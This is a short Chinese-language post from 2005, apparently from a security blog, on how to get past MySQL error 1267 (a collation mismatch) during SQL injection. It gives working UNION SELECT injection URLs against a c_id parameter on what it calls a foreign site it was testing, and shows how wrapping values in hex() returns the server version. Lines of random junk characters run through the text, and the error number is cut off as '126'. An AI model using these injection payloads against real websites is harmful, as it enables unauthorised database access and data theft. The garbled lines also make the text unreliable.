MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
! b% Z* T# f! ^7 q5 a2 h! k, o3 V文章性质：原创
/ o6 y, j/ s% R; I6 W7 p发布日期：2005-10-18
测试个国外的站时：
" g6 x' o* ^% ^; [' p! {# Lurl：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
- `0 H; D/ \# y5 @% _8 f. B返回错误：
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
7 \& N. J/ H5 K5 z; K解决办法：转为其他编码如hex。
  x$ }: H& g3 |! @url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
342E312E332D62657461
回Mysql查询下得到：
* E+ P2 X% O* W; }8 [* |; m6 E/ E# emysql> select 0x342E312E332D62657461;
- w- y: U* m) L! X- |: s+------------------------+
| 0x342E312E332D62657461 |
* Y; L/ w# v, X% {* O# s% l% T+------------------------+
  z; Z- D) E6 E4 F+ I7 o| 4.1.3-beta |
6 [! \% ?* L7 V- m0 l) b2 f4 f% h+ A+------------------------+
7 s! e1 l5 q: Z- X; I3 c1 row in set (0.00 sec)
! {# A5 [, K  a* M